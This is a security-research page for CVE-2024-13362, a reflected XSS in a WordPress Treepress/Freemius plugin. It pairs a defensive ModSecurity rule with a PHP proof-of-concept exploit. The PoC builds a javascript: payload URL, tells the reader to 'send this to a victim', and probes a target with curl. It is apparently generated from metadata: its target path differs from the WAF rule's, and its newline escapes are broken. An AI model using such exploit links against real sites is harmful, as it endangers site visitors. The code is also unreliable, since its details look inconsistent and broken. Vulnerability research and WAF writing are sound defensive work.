CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (treepress)

# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Block reflected DOM-based XSS via the 'url' parameter in Treepress plugin
# Targets the url parameter in GET requests (query string) with javascript: or other script schemes
SecRule ARGS:url "@rx ^(?i:javascript|vbscript|data|mailto):" 
  "id:20261993,phase:2,deny,status:403,log,chain,msg:'CVE-2024-13362 - Reflected DOM-Based XSS via url parameter in Treepress',severity:'CRITICAL',tag:'CVE-2024-13362',tag:'wordpress',tag:'treepress'"
  SecRule REQUEST_URI "@streq /wp-content/plugins/treepress/js/treepress-core.js" "chain"
    SecRule REQUEST_METHOD "@streq GET" "t:none"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// Configurable target URL (the vulnerable WordPress site)
$target_url = 'http://example.com/wp-content/plugins/treepress/js/some-script.js?url=';

// XSS payload that executes in the victim's browser
// This payload triggers a DOM-based XSS if the url parameter is not sanitized
$payload = 'javascript:alert(document.domain)';

// Encode the payload for URL transmission
$encoded_payload = urlencode($payload);

// Construct the exploit URL
$exploit_url = $target_url . $encoded_payload;

echo "[+] Atomic Edge CVE Research - Proof of Concept (metadata-based)n";
echo "[+] CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based XSSnn";
echo "[+] Exploit URL (send this to a victim):n";
echo $exploit_url . "nn";

// Simulate a request to verify the parameter is reflected in the response
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "[+] Request succeeded (HTTP 200). Check if the payload appears in the response below:nn";
    // Look for the payload in the response (a simple indicator of reflection)
    if (strpos($response, $payload) !== false) {
        echo "[!] PAYLOAD DETECTED in response - potential XSS vulnerability confirmed!n";
    } else {
        echo "[!] Payload not directly reflected. DOM-based XSS may still occur via JavaScript execution.n";
    }
    echo substr($response, 0, 500) . "...n";
} else {
    echo "[-] Request failed with HTTP code: " . $http_code . "n";
    echo "[-] The target may not be vulnerable or the endpoint is incorrect.n";
}